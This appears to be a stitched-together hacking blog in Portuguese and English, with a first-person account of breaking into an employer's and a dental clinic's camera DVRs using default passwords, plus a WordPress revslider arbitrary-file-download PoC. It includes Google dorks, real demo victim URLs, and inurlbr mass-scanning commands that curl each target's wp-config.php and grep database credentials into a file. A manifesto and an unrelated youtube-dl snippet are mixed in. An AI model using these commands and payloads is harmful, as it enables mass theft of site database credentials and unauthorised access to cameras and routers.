O Perigo de senhas padrões

Bom dia pessoal!

 Ultimamente eu estava pensando oque você consegue fazer tendo acesso a uma rede sem fio(wi-fi) de uma empresa? hoje em dia você estando dentro de uma rede wireless sem proteção, você pode fazer praticamente case tudo! desde rodar um sniffer a realizar ataques Man-in-The-Middle dentre outros diversos tipos de ataques. Mas além disso você pode também pode obter acesso a um serviço de controle de câmeras (DVR) por exemplo. Mas oque isso tem a ver com o tema "Senhas padrões"? Vocês iram entender isso na frente.

 Esses dias eu conseguir acesso a dois serviços de controle de câmeras, um da empresa aonde eu trabalho e o outro de uma clinica dentária do lado, apenas tendo acesso a rede wireless das duas empresas.


Empresa 1 (Trabalho):


Depois de ter pego a senha do wifi, acessei normalmente o roteador e como de costume ele pede login e senha, coloquei diversos logins e senhas padrões [admin,admin] [admin,gvt12345] conseguir acesso ao roteador (Já começou a entrar no assunto do titulo!). Comecei a fuçar o roteador não conseguir encontrar nada de importante, então decidir realizar um Scanner com nmap e acabei descobrindo uma porta aberta 8090 no ip 192.168.1.150. Então acessei ip:porta e me retornou uma tela de login de DVR da intelbras! novamente fui colocando diversas senhas toscas (padrões)  e conseguir acesso ao serviço de controle de câmeras. Isto tudo foi feito com o OS Windows (porque não estava com o notebook no momento), Nmap, e senhas padrões.

   [Tela de login DVR intelbras]

[Serviço de controle de câmeras]

[Resultados nmap]

Empresa 2 (Clinica dentária):

Alguns dias depois da façanha da empresa 1, conseguir acesso a rede wireless de uma clinica dentária vizinha da empresa 1. E pensei porque não fuçar novamente? Só que essa vez usei um android (Samsung Galaxy prime rootado) para realizar o fingerprint. Para o processo de fingerprinting utilizei o aplicativo Fing  para android!

Como mostra a imagem acima, ele me retornou diversos ips. Mas apenas 2 me chamou a atenção por causa dos hostnames (ipcamera_) 192.168.1.22 e 192.168.1.33. Dae então fiz um scan nos dois ip's para descobrir se tinha algum serviço rodando nos ip's! Ele me retornou que tinha um serviço sendo executado na porta 90 do ip 192.168.1.22 e a porta 92 no ip 192.168.1.33!

            

 Logo depois decidir acessar o endereço 192.168.1.22:90, e me apareceu uma tela de autenticação coloquei novamente login e senhas padrões e para minha surpresa ele entrou:

  Depois acessei o endereço 192.168.1.33:92, também me apareceu uma tela de autentificação coloquei novamente o mesmo login e senha do primeiro ip e novamente entrou normalmente!

 

Conclusão:

 Agora me fale oque eu posso fazer tendo acesso a um serviço de controle de câmeras? deixe nos comentários!

 Nunca use senhas padrões em equipamentos eletrônicos! seja eles roteadores, dvr's, aplicativos etc...

um exemplo de ataque realizado com senhas padrões foi o da equipe Lizard Squad que (utilizava Scanners (ferramentas utilizadas para buscar algo) em máquinas potentes com objetivo de encontrar Roteadores domésticos vulneráveis, com a porta 23 (Telnet) aberta. Após a longa varredura efetuada pelo grupo, os IP's encontrados eram filtrados e provavelmente utilizados por outras ferramentas para o ataque de Brute-Force (força bruta) em massa. Esse ataque é conhecido por realizar inúmeras combinações de senhas até se encontrar a correta, e foi isso que o grupo fez... Usou das principais senhas padrões (e óbvias) para efetuar autenticação nos dispositivos, e se não bastasse, ainda os infectava com uma espécie de "Malware" que também efetuava todo o processo para encontrar cada vez mais Zumbis com objetivo de aumentar a força de seus ataques) (Trecho tirado do site infohax)

                     

wp-backup-plus: Wordpress Database File Download filter with inurlbr

Wordpress File Download Database 

The WP Backup Plus Plugin:
The Full Automated Wordpress Backup Plugin that sends your backup to multiple locations that allows you to backup, restore, automate, and clone.

DORK: index of "wp-backup-plus"

(Priv8) method for using the downloaded file to deface the server and how to find the script file download in WordPress sites can be explored in all wordpress versions.

[TUTORIAL]

Using inurlbr scanner to filter

COMMAND INURLBR:
php inurlbr.php --dork 'index of "wp-backup-plus"' -s save.txt -q 1,6 -t 2 -a '/wp-backup-plus'

[RESULT SHORT]

DOWNLOAD THE TOOL INURLBR: 
https://github.com/googleinurl/SCANNER-INURLBR

0days Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

-------------------------------------------------------------------------------------------

Wordpress Theme U-Design Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/u-design/"
ACCESS: http://1337day.com/exploit/23143

-------------------------------------------------------------------------------------------

Wordpress Theme Terra Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/terra/"
ACCESS: http://1337day.com/exploit/23142

-------------------------------------------------------------------------------------------

Wordpress Theme Pindol Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/pindol/"
ACCESS: http://1337day.com/exploit/23144

-------------------------------------------------------------------------------------------

All themes above, are failing in the same revslider plugin.
POC:
http://[target]/[path]/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

Exploit developed can check about 20 themes, and allows check standard as follows.POC -> /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Which is the same as 0day mentioned above.

[Exploit ACCESS]
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html
Please download the exploit and put the name of exploit.php

Now let's use the inurlbr scanner as a mass explorer
[SCANNER INURLBR]
https://github.com/googleinurl/SCANNER-INURLBR

Command use INURLBR:
Ex: php inurlbr.php --dork 'you dork' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/u-design/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/terra/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/pindol/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

Brief introduction --comand

--comand-vul Every vulnerable URL found will execute this command parameters.
     Example: --comand-vul {command}
     Usage:   --comand-vul 'nmap sV -p 22,80,21 _TARGET_'
              --comand-vul './exploit.sh _TARGET_ output.txt'

 --comand-all Use this commmand to specify a single command to EVERY URL found.
     Example: --comand-all {command}
     Usage:   --comand-all 'nmap sV -p 22,80,21 _TARGET_'
              --comand-all './exploit.sh _TARGET_ output.txt'

    Observation:
    _TARGET_ will be replaced by the URL/target found, although if the user
    doesn't input the get, only the domain will be executed.
   _TARGETFULL_ will be replaced by the original URL / target found.

-------------------------------------------------------------------------------------------

INURLBR ADVANCED CONTROL

php inurlbr.php --dork 'YOU DORK revslider' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'

[TUTORIAL] - Wordpress A.F.D Verification/ INURL - BRASIL + SCANNER INURLBR

[TUTORIAL] - Hacking Painel Wordpress - Slider Revolution

[TUTORIAL] - Getting access to the Wordpress panel


REF:
http://pastebin.com/cGpxRQCs
http://blog.inurl.com.br/2015/01/arbitrary-file-download-vulnerability.html
http://blog.inurl.com.br/2015/01/wordpress-themes-downloadphp-file.html
http://blog.inurl.com.br/2014/08/wordpress-plugin-kenburner-slider-lfd.html
https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo

Arbitrary File Download vulnerability no tema Bretheon do wordpress

Arbitrary File Download vulnerability o que eu chamo de A.F.D.

Foi encontrada tal falha no tema Bretheon do wordpress.

--------------------------------------------------------------------------------------------------------------

DETALHES
Acesso: http://1337day.com/exploit/23140
Exploit Title: Wordpress Theme Bretheon Arbitrary File Download Vulnerability
Date: 17/01/2014
Exploit Author: MindCracker - Team MaDLeeTs
Contact : [email protected] - [email protected]| https://twitter.com/MindCrackerKhan 
Tested on: Linux / Window

Google Dork: inurl:wp-content/themes/bretheon/
Demo

http://infiniteloopcorp.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://scottysgym.com.au/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://vladlogistik.ru/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://transinfo.nnov.ru/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

 PoC

http://target/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

--------------------------------------------------------------------------------------------------------------

Como tal falha no tema não usa nada de novo e o caminho padrão "admin-ajax.php?action=revslider_show_image&img="  nosso exploit desenvolvido meses atrás já faz tal verificação e pode ser usado tranquilamente.

--------------------------------------------------------------------------------------------------------------

[TUTORIAL]: 

https://www.youtube.com/watch?v=w6pxPR_s05w

TUTORIAL DETALHES:
http://blog.inurl.com.br/2015/01/wordpress-themes-downloadphp-file.html

EXECUTE:
php exploit.php www.target.gov.us

--------------------------------------------------------------------------------------------------------------

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html

--------------------------------------------------------------------------------------------------------------

Extraindo Áudio de Vídeos do YOUTUBE

Instalação

$ sudo add-apt-repository ppa:nilarimogard/webupd8
$ sudo apt-get update
$ sudo apt-get install youtube-dl

001 - Hacking 2015 manifesto

Texto  baseado no manifesto hacker feito por The Mentor de January 8, 1986

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=--=-=-=-=-=--=-=-=-=-=-

There is only one time when it is essential to awaken. That time is now, We cannot wait till somebody wakes you. You are the crazy ones, the misfit, the rebel, the troublemaker, the one who see things differently.
We are not fond of rules and have no respect for the statuesque,
you can imprison us and oppress us we don't care we are legion.

Only thing you can’t do is ignore us because we change things. We create revolution's, we empower a free society in the here and now.
And while they are afraid of us with their cronyism and kleptocracy,
their bureaucracy and ideology, their police and spies calling us criminals, we see creation.
Because the people who are crazy enough to think they can change the world, are the ones who do.

But did you, in your cronyism and 1900's kleptocracy, ever
take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him?
We are hacker's, we create, enter our world...

We found a computer. Wait a second, this is
cool. It does what we want it to. If it makes a mistake,
it's because we screwed it up. Not because it doesn't like us...
Or feels threatened by us...
Or thinks we are a smart ass...
Or doesn't like teaching and shouldn't be here...
And then it happened... a door opened to a world... rushing through the internet like heroin through an addict's veins, an electronic pulse is
sent out, a refuge from the day-to-day incompetencies is sought... a board is found.
"This is it... this is where we belong..."
we know everyone here... even if we never met them, never talked to them, may never hear from them again... We know you all...

You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us will-ing pupils, but those few are like drops of water in the desert.

Life amounts to no more than one drop in a limitless ocean.
Yet what is any ocean, but a multitude of drops?

This is our world now... the world of the electron and the switch, the
beauty of the 0 and the 1. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals.
You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike. 
#SailSafeMotherFuckers!
Expect us...

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=--=-=-=-=-=--=-=-=-=-=-

Source: https://www.cyberguerrilla.org/blog/anonymous-happy-hacking-2015-manifesto/

Trackbacks: http://phrack.org/issues/7/3.html

Wordpress A.F.D Verification/ INURL - BRASIL - WORDPRESS THEMES DOWNLOAD.PHP FILE DISCLOSURE

Multiple WordPress themes suffer from an arbitrary file download vulnerability in download.php. These include Ultimatum, Medicate, Centum, Avada, Striking Theme & E-Commerce, cuckootap, IncredibleWP, Ultimatum, Medicate, Centum, Avada, Trinity, Lote27, and Revslider themes.

------------------------------------------------------------------------------
# *NAME*:               Wordpress A.F.D Verification/ INURL - BRASIL
# *TIPE*:                   Arbitrary File Download
# *Tested on*:            Linux
# *EXECUTE*:         php exploit.php www.target.gov.us
# *OUTPUT*:           WORDPRES_A_F_D.txt
# *AUTOR*:             GoogleINURL
# *EMAIL*:              [email protected]
# *Blog*:                   http://blog.inurl.com.br
# *Twitter*:               https://twitter.com/googleinurl
# *Fanpage*:             https://fb.com/InurlBrasil
# *GIT: *                   https://github.com/googleinurl
# *YOUTUBE  *       https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
# *PACKETSTORMSECURITY:* http://packetstormsecurity.com/user/googleinurl/
#
------------------------------------------------------------------------------
#  Comand Exec Scanner INURLBR:
#
# ./inurlbr.php --dork 'inurl:/wp-content/themes/' -q 1,6 -s save.txt --comand-all "php exploit.php _TARGET_"
#
------------------------------------------------------------------------------
#
# Download Scanner INURLBR:
# https://github.com/googleinurl/SCANNER-INURLBR
#
------------------------------------------------------------------------------

Description:

This exploit allows the attacker to exploit the flaw Arbitrary File
Download in dozens of wordpress themes.
Through regular expressions, the script will perform the check for each
target url checking your wp-config.php file
Regular expressions:
preg_match_all("(DB_NAME.*')", $body, $status['DB_NAME']);
preg_match_all("(DB_USER.*')", $body, $status['DB_USER']);
preg_match_all("(DB_PASSWORD.*')", $body, $status['DB_PASSWORD']);
preg_match_all("(DB_HOST.*')", $body, $status['DB_HOST']);
preg_match_all("(DB_CHARSET.*')", $body, $status['DB_CHARSET']);

*D O R K'S:

WordPress Ultimatum Theme Arbitrary File Download
Vendor Homepage:: http://ultimatumtheme.com/ultimatum-themes/s


WordPress Centum Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/centum-responsive-wordpress-theme/3216603
Google Dork:: "Index of" & /wp-content/themes/Centum/

WordPress Avada Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
Google Dork:: "Index of" & /wp-content/themes/Avada/

WordPress Striking Theme & E-Commerce Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/striking-multiflex-ecommerce-responsive-wp-theme/128763
Google Dork:: "Index of" & /wp-content/themes/striking_r/

WordPress Beach Apollo Arbitrary File Download
Vendor Homepage:: https://www.authenticthemes.com/theme/apollo/
Google Dork:: "Index of" & /wp-content/themes/beach_apollo/

Dork Google: inurl:ajax-store-locator
index of ajax-store-locator
Vendor Homepage::
http://codecanyon.net/item/ajax-store-locator-wordpress/5293356

WordPress cuckootap Theme Arbitrary File Download
Google Dork:: "Index of" & /wp-content/themes/cuckootap/
Vendor Homepage:: http://www.cuckoothemes.com/

WordPress IncredibleWP Theme Arbitrary File Download
Vendor Homepage:: http://freelancewp.com/wordpress-theme/incredible-wp/
Google Dork:: "Index of" & /wp-content/themes/IncredibleWP/

WordPress Ultimatum Theme Arbitrary File Download
Vendor Homepage:: http://ultimatumtheme.com/ultimatum-themes/s
Google Dork:: "Index of" & /wp-content/themes/ultimatum

WordPress Medicate Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/medicate-responsive-medical-and-health-theme/3707916
Google Dork:: "Index of" & /wp-content/themes/medicate/


WordPress Centum Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/centum-responsive-wordpress-theme/3216603
Google Dork:: "Index of" & /wp-content/themes/Centum/

WordPress Avada Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
Google Dork:: "Index of" & /wp-content/themes/Avada/

WordPress Striking Theme & E-Commerce Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/striking-multiflex-ecommerce-responsive-wp-theme/128763
Google Dork:: "Index of" & /wp-content/themes/striking_r/

WordPress Beach Apollo Arbitrary File Download
Vendor Homepage:: https://www.authenticthemes.com/theme/apollo/
Google Dork:: "Index of" & /wp-content/themes/beach_apollo/

WordPress Trinity Theme Arbitrary File Download
Vendor Homepage:: https://churchthemes.net/themes/trinity/
Google Dork:: "Index of" & /wp-content/themes/trinity/

WordPress Lote27 Theme Arbitrary File Download
Google Dork:: "Index of" & /wp-content/themes/lote27/

WordPress Revslider Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/cuckootap-one-page-parallax-wp-theme-plus-eshop/3512405
Google Dork:: wp-admin & inurl:revslider_show_image




Exploit::
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html